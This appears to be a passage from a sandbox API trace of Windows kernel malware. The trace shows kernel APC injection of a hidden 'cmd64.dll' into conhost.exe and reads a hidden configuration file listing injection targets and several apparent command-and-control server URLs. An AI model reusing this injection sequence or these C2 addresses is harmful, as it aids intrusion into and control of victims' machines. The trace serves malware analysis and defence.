Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.309] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0096.309] IdePortDispatch () returned 0x103 [0096.309] KeWaitForMutexObject () returned 0x0 [0096.309] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.309] KeLeaveCriticalRegion () [0096.309] IofCompleteRequest (Irp=0xfffffa800389fd60, PriorityBoost=0) [0096.310] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffff800004f8, BaseAddress=0xfffff88002f9dae0, ZeroBits=0x0, RegionSize=0xfffff88002f9d9f0, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0xfffff88002f9dae0*=0x10000, RegionSize=0xfffff88002f9d9f0*=0x14000) returned 0x0 [0096.310] RtlImageNtHeader (BaseAddress=0x10000) returned 0x10040 [0096.310] RtlImageDirectoryEntryToData (in: BaseAddress=0x10000, MappedAsImage=1, Directory=0x5, Size=0xfffff88002f9dad8 | out: Size=0xfffff88002f9dad8) returned 0x0 [0096.310] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffff800004f8, BaseAddress=0xfffff88002f9dae8, ZeroBits=0x0, RegionSize=0xfffff88002f9d9f8, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0xfffff88002f9dae8*=0x70000, RegionSize=0xfffff88002f9d9f8*=0x1000) returned 0x0 [0096.310] _snprintf (in: _Dest=0x70020, _Count=0x103, _Format="\\\\?\\globalroot%S" | out: _Dest="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cmd64.dll") returned 49 [0096.310] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x58) returned 0xfffffa8002b2b0e0 [0096.310] KeInitializeApc (Apc=0xfffffa8002b2b0e0, Thread=0xfffffa80038b9060, TargetEnvironment=0x0, KernelRoutine=0xfffffa80027ca950, RundownRoutine=0x0, NormalRoutine=0x70128, Mode=0xfffff88000000001, Context=0x70000) [0096.310] KeInsertQueueApc (Apc=0xfffffa8002b2b0e0, SystemArgument1=0x0, SystemArgument2=0x0, PriorityBoost=0x0) returned 1 [0096.310] ZwUnmapViewOfSection (ProcessHandle=0xffffffffffffffff, BaseAddress=0x7fffffa0000) returned 0x0 [0096.310] ZwClose (Handle=0x14) returned 0x0 [0096.310] ZwClose (Handle=0xffffffff800004f0) returned 0x0 [0096.310] _snprintf (in: _Dest=0xfffff88002f9d450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0096.310] KeEnterCriticalRegion () [0096.310] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.310] IoGetRequestorProcess (Irp=0xfffffa800389fd60) returned 0xfffffa80018ab040 [0096.310] FsRtlFastUnlockAll (FileLock=0xfffffa80027db068, FileObject=0xfffffa80038bc070, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0xc000007e [0096.310] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.310] KeLeaveCriticalRegion () [0096.310] IofCompleteRequest (Irp=0xfffffa800389fd60, PriorityBoost=0) [0096.310] KeUnstackDetachProcess (ApcState=0xfffff88002f9da58) [0096.310] PsGetProcessImageFileName () returned 0xfffffa80038b7810 [0096.310] _snprintf (in: _Dest=0xfffffa80038bd458, _Count=0x103, _Format="%s (x64)" | out: _Dest="conhost.exe (x64)") returned 17 [0096.310] RtlInitUnicodeString (in: DestinationString=0xfffff88002f9d7b0, SourceString="\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cfg.ini") [0096.310] ZwCreateFile (in: FileHandle=0xfffff88002f9db18, DesiredAccess=0x100003, ObjectAttributes=0xfffff88002f9d7d8*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cfg.ini" (normalized: "\\device\\000001a9\\0d24eb7c\\cfg.ini"), Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f9d7a0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x3, CreateOptions=0x22, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0xfffff88002f9db18*=0xffffffff800004f0, IoStatusBlock=0xfffff88002f9d7a0) returned 0x0 [0096.310] _snprintf (in: _Dest=0xfffff88002f9cf10, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0096.311] KeEnterCriticalRegion () [0096.311] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.311] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.311] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.311] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.311] KeInitializeEvent (in: Event=0xfffff88002f9cd80, Type=0x0, State=0 | out: Event=0xfffff88002f9cd80) [0096.311] IdePortDispatch () returned 0x103 [0096.311] KeWaitForMutexObject () returned 0x0 [0096.311] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0096.311] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0096.311] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0096.311] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0096.311] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0096.311] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800ae4aba0 [0096.311] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.311] KeLeaveCriticalRegion () [0096.311] IofCompleteRequest (Irp=0xfffffa800389fd60, PriorityBoost=0) [0096.311] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f9d880, ZeroBits=0x0, RegionSize=0xfffff88002f9d888, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0xfffff88002f9d880*=0x90000, RegionSize=0xfffff88002f9d888*=0x1000) returned 0x0 [0096.311] NtLockFile (in: FileHandle=0xffffffff800004f0, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x90000, ByteOffset=0x90010, Length=0x90018, Key=0x0, FailImmediatedly=0, ExclusiveLock=1 | out: IoStatusBlock=0x90000) returned 0x0 [0096.311] _snprintf (in: _Dest=0xfffff88002f9d450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0096.311] KeEnterCriticalRegion () [0096.311] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.311] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa800389fd60, Context=0x0) returned 0x0 [0096.311] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.311] KeLeaveCriticalRegion () [0096.311] ZwQueryInformationFile (in: FileHandle=0xffffffff800004f0, IoStatusBlock=0xfffff88002f9d7a0, FileInformation=0xfffff88002f9d7c0, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0xfffff88002f9d7a0, FileInformation=0xfffff88002f9d7c0) returned 0x0 [0096.311] _snprintf (in: _Dest=0xfffff88002f9d250, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0096.311] KeEnterCriticalRegion () [0096.311] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.311] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.311] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.311] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.311] KeInitializeEvent (in: Event=0xfffff88002f9d0e0, Type=0x0, State=0 | out: Event=0xfffff88002f9d0e0) [0096.311] IdePortDispatch () returned 0x103 [0096.311] KeWaitForMutexObject () returned 0x0 [0096.312] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0096.312] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.312] KeLeaveCriticalRegion () [0096.312] IofCompleteRequest (Irp=0xfffffa800389fd60, PriorityBoost=0) [0096.312] FsRtlAllocatePool (PoolType=0x1, NumberOfBytes=0x1b5) returned 0xfffff8a0015cfbd0 [0096.312] _snprintf (in: _Dest=0xfffff88002f9d9d0, _Count=0x104, _Format="[%s]\r\n" | out: _Dest="[inject]\r\n") returned 10 [0096.312] _strlwr (in: _Str="[inject]\r\n" | out: _Str="[inject]\r\n") returned="[inject]\r\n" [0096.312] _snprintf (in: _Dest=0xfffff88002f9d8c0, _Count=0x104, _Format="%s=" | out: _Dest="conhost.exe (x64)=") returned 18 [0096.312] _strlwr (in: _Str="conhost.exe (x64)=" | out: _Str="conhost.exe (x64)=") returned="conhost.exe (x64)=" [0096.312] ZwReadFile (in: FileHandle=0xffffffff800004f0, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0xfffff88002f9d7a0, Buffer=0xfffff8a0015cfbd0, BufferLength=0x1b4, ByteOffset=0x0, Key=0x0 | out: IoStatusBlock=0xfffff88002f9d7a0, Buffer=0xfffff8a0015cfbd0*) returned 0x0 [0096.312] _snprintf (in: _Dest=0xfffff88002f9d230, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0096.312] KeEnterCriticalRegion () [0096.312] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.312] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b4cbd0 [0096.312] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.312] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038bc390 [0096.312] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038bc390, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038bc390) [0096.312] KeInitializeEvent (in: Event=0xfffff88002f9d090, Type=0x0, State=0 | out: Event=0xfffff88002f9d090) [0096.312] IdePortDispatch () returned 0x103 [0096.312] KeWaitForMutexObject () returned 0x0 [0096.312] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0096.312] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.312] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038bc390 [0096.312] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038bc390, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038bc390) [0096.312] KeInitializeEvent (in: Event=0xfffff88002f9d090, Type=0x0, State=0 | out: Event=0xfffff88002f9d090) [0096.312] IdePortDispatch () returned 0x103 [0096.312] KeWaitForMutexObject () returned 0x0 [0096.313] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.313] KeLeaveCriticalRegion () [0096.313] IofCompleteRequest (Irp=0xfffffa800389fd60, PriorityBoost=0) [0096.313] strstr (_Str="[main]\r\nversion=0.03\r\naid=66671\r\nsid=0\r\nbuilddate=351\r\ninstalldate=6.12.2016 9:36:14\r\nrnd=2040373303\r\n[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\nversion=0.31\r\n", _SubStr="[inject]\r\n") returned="[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\nversion=0.31\r\n" [0096.313] strstr (_Str="*=cmd.dll\r\n* (x64)=cmd64.dll\r\n", _SubStr="conhost.exe (x64)=") returned 0x0 [0096.313] ZwFreeVirtualMemory (ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f9d880*=0x90000, RegionSize=0xfffff88002f9d888, FreeType=0x8000) returned 0x0 [0096.313] ExFreePoolWithTag (P=0xfffff8a0015cfbd0, Tag=0x0) [0096.313] ZwClose (Handle=0xffffffff800004f0) returned 0x0 [0096.313] _snprintf (in: _Dest=0xfffff88002f9d310, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0096.313] KeEnterCriticalRegion () [0096.313] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.313] IoGetRequestorProcess (Irp=0xfffffa800389fd60) returned 0xfffffa80018ab040 [0096.313] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80038bb340, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0x0 [0096.313] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.313] KeLeaveCriticalRegion () [0096.313] IofCompleteRequest (Irp=0xfffffa800389fd60, PriorityBoost=0) [0096.313] _snprintf (in: _Dest=0xfffff88002f9d330, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0096.313] KeEnterCriticalRegion () [0096.313] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.313] ExFreePoolWithTag (P=0xfffffa800ae4aba0, Tag=0x0) [0096.313] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.313] KeLeaveCriticalRegion () [0096.313] IofCompleteRequest (Irp=0xfffffa800389fd60, PriorityBoost=0) [0096.313] ZwClose (Handle=0xffffffff800004f8) returned 0x0 [0096.313] KeSetEvent (in: Event=0xfffffa80038bd130, Increment=0x0, Wait=0 | out: Event=0xfffffa80038bd130) returned 0 [0096.573] ZwOpenProcess (in: ProcessHandle=0xfffff88002f9db70, DesiredAccess=0x1fffff, ObjectAttributes=0xfffff88002f9db30*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x200, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xfffff88002f9db20*(UniqueProcess=0x534, UniqueThread=0x0) | out: ProcessHandle=0xfffff88002f9db70*=0xffffffff800004f8) returned 0x0 [0096.573] RtlInitUnicodeString (in: DestinationString=0xfffff88002f9d7b0, SourceString="\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cfg.ini") [0096.573] ZwCreateFile (in: FileHandle=0xfffff88002f9db18, DesiredAccess=0x100003, ObjectAttributes=0xfffff88002f9d7d8*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cfg.ini" (normalized: "\\device\\000001a9\\0d24eb7c\\cfg.ini"), Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f9d7a0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x3, CreateOptions=0x22, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0xfffff88002f9db18*=0xffffffff800004f0, IoStatusBlock=0xfffff88002f9d7a0) returned 0x0 [0096.573] _snprintf (in: _Dest=0xfffff88002f9cf10, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0096.573] KeEnterCriticalRegion () [0096.573] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.573] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.573] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5e40 [0096.573] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0096.573] KeInitializeEvent (in: Event=0xfffff88002f9cd80, Type=0x0, State=0 | out: Event=0xfffff88002f9cd80) [0096.573] IdePortDispatch () returned 0x103 [0096.573] KeWaitForMutexObject () returned 0x0 [0096.574] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0096.574] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0096.574] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0096.574] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0096.574] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0096.574] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003824510 [0096.574] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.574] KeLeaveCriticalRegion () [0096.574] IofCompleteRequest (Irp=0xfffffa800389fd60, PriorityBoost=0) [0096.574] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f9d880, ZeroBits=0x0, RegionSize=0xfffff88002f9d888, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0xfffff88002f9d880*=0x90000, RegionSize=0xfffff88002f9d888*=0x1000) returned 0x0 [0096.574] NtLockFile (in: FileHandle=0xffffffff800004f0, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x90000, ByteOffset=0x90010, Length=0x90018, Key=0x0, FailImmediatedly=0, ExclusiveLock=1 | out: IoStatusBlock=0x90000) returned 0x0 [0096.574] _snprintf (in: _Dest=0xfffff88002f9d450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0096.574] KeEnterCriticalRegion () [0096.574] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.574] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa800389fd60, Context=0x0) returned 0x0 [0096.574] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.574] KeLeaveCriticalRegion () [0096.574] ZwQueryInformationFile (in: FileHandle=0xffffffff800004f0, IoStatusBlock=0xfffff88002f9d7a0, FileInformation=0xfffff88002f9d7c0, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0xfffff88002f9d7a0, FileInformation=0xfffff88002f9d7c0) returned 0x0 [0096.574] _snprintf (in: _Dest=0xfffff88002f9d250, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0096.574] KeEnterCriticalRegion () [0096.574] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.574] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.574] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5e40 [0096.574] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0096.574] KeInitializeEvent (in: Event=0xfffff88002f9d0e0, Type=0x0, State=0 | out: Event=0xfffff88002f9d0e0) [0096.574] IdePortDispatch () returned 0x103 [0096.575] KeWaitForMutexObject () returned 0x0 [0096.575] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0096.575] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.575] KeLeaveCriticalRegion () [0096.575] IofCompleteRequest (Irp=0xfffffa800389fd60, PriorityBoost=0) [0096.575] FsRtlAllocatePool (PoolType=0x1, NumberOfBytes=0x1b5) returned 0xfffff8a0015d5c60 [0096.575] _snprintf (in: _Dest=0xfffff88002f9d9d0, _Count=0x104, _Format="[%s]\r\n" | out: _Dest="[inject]\r\n") returned 10 [0096.575] _strlwr (in: _Str="[inject]\r\n" | out: _Str="[inject]\r\n") returned="[inject]\r\n" [0096.575] _snprintf (in: _Dest=0xfffff88002f9d8c0, _Count=0x104, _Format="%s=" | out: _Dest="* (x64)=") returned 8 [0096.575] _strlwr (in: _Str="* (x64)=" | out: _Str="* (x64)=") returned="* (x64)=" [0096.575] ZwReadFile (in: FileHandle=0xffffffff800004f0, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0xfffff88002f9d7a0, Buffer=0xfffff8a0015d5c60, BufferLength=0x1b4, ByteOffset=0x0, Key=0x0 | out: IoStatusBlock=0xfffff88002f9d7a0, Buffer=0xfffff8a0015d5c60*) returned 0x0 [0096.575] _snprintf (in: _Dest=0xfffff88002f9d230, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0096.575] KeEnterCriticalRegion () [0096.575] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.575] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bcfc60 [0096.575] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.575] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.575] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.575] KeInitializeEvent (in: Event=0xfffff88002f9d090, Type=0x0, State=0 | out: Event=0xfffff88002f9d090) [0096.575] IdePortDispatch () returned 0x103 [0096.577] KeWaitForMutexObject () returned 0x0 [0096.577] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0096.577] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80038a9ee0 [0096.577] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80038a9ee0 | out: Irp=0xfffffa80038a9ee0) returned 0xfffffa80038a5010 [0096.577] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0096.577] KeInitializeEvent (in: Event=0xfffff88002f9d090, Type=0x0, State=0 | out: Event=0xfffff88002f9d090) [0096.577] IdePortDispatch () returned 0x103 [0096.577] KeWaitForMutexObject () returned 0x0 [0096.577] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.577] KeLeaveCriticalRegion () [0096.577] IofCompleteRequest (Irp=0xfffffa800389fd60, PriorityBoost=0) [0096.577] strstr (_Str="[main]\r\nversion=0.03\r\naid=66671\r\nsid=0\r\nbuilddate=351\r\ninstalldate=6.12.2016 9:36:14\r\nrnd=2040373303\r\n[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\nversion=0.31\r\n", _SubStr="[inject]\r\n") returned="[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\nversion=0.31\r\n" [0096.578] strstr (_Str="*=cmd.dll\r\n* (x64)=cmd64.dll\r\n", _SubStr="* (x64)=") returned="* (x64)=cmd64.dll\r\n" [0096.578] strncpy (in: _Dest=0xfffffa80038b9274, _Source="cmd64.dll", _Count=0x104 | out: _Dest="cmd64.dll") returned="cmd64.dll" [0096.578] ZwFreeVirtualMemory (ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f9d880*=0x90000, RegionSize=0xfffff88002f9d888, FreeType=0x8000) returned 0x0 [0096.578] ExFreePoolWithTag (P=0xfffff8a0015d5c60, Tag=0x0) [0096.578] ZwClose (Handle=0xffffffff800004f0) returned 0x0 [0096.578] _snprintf (in: _Dest=0xfffff88002f9d310, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0096.578] KeEnterCriticalRegion () [0096.578] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.578] IoGetRequestorProcess (Irp=0xfffffa800389fd60) returned 0xfffffa80018ab040 [0096.578] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003678570, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0x0 [0096.578] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.578] KeLeaveCriticalRegion () [0096.578] IofCompleteRequest (Irp=0xfffffa800389fd60, PriorityBoost=0) [0096.578] _snprintf (in: _Dest=0xfffff88002f9d330, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0096.578] KeEnterCriticalRegion () [0096.578] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.578] ExFreePoolWithTag (P=0xfffffa8003824510, Tag=0x0) [0096.578] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0096.578] KeLeaveCriticalRegion () [0096.578] IofCompleteRequest (Irp=0xfffffa800389fd60, PriorityBoost=0) [0096.578] KeStackAttachProcess (in: PROCESS=0xfffffa800cffe060, ApcState=0xfffff88002f9da58 | out: PROCESS=0xfffffa800cffe060, ApcState=0xfffff88002f9da58) [0096.578] _snwprintf (in: _Dest=0xfffffa80038b906c, _Count=0x103, _Format="%s\\%S" | out: _Dest="\\device\\000001a9\\0d24eb7c\\cmd64.dll") returned 35 [0096.578] RtlInitUnicodeString (in: DestinationString=0xfffff88002f9da38, SourceString="\\device\\000001a9\\0d24eb7c\\cmd64.dll" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cmd64.dll") [0096.578] ZwOpenFile (in: FileHandle=0xfffff88002f9d9e8, DesiredAccess=0x100001, 